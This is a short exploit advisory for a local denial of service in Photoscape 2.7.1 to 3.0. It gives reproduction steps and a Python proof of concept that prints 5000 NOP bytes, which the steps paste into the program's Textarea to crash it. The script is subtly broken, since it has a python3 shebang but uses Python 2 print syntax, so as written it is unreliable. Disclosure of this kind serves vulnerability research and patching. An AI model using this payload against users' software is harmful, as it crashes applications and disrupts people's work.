Photoscape versions 2.7.1 up to 3.0 suffer from a Textarea denial of service vulnerability.
e62dc0374a84cb4f9dd37bd039dab651
# Exploit Title: Photoscape 2.7.1 < 3.0 - 'Textarea' Denial of Service
(PoC)
# Author: HexraiN
# Date: 2020-04-10
# Vendor Homepage: http://www.photoscape.org/
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Parrot OS , Windows 10
Steps to Produce the Crash:
1.- Run Python Exploit
2.- Copy output to clipboard
3.- Open Photoscape
4.- Select Any image
5.- Go To Menu > Object and select Create
6.- Paste ClipBoard on "Textarea"
7.- Crashed..
PoC :
#!/usr/bin/python3
buf = ""
buf += "\x90"*5000
print buf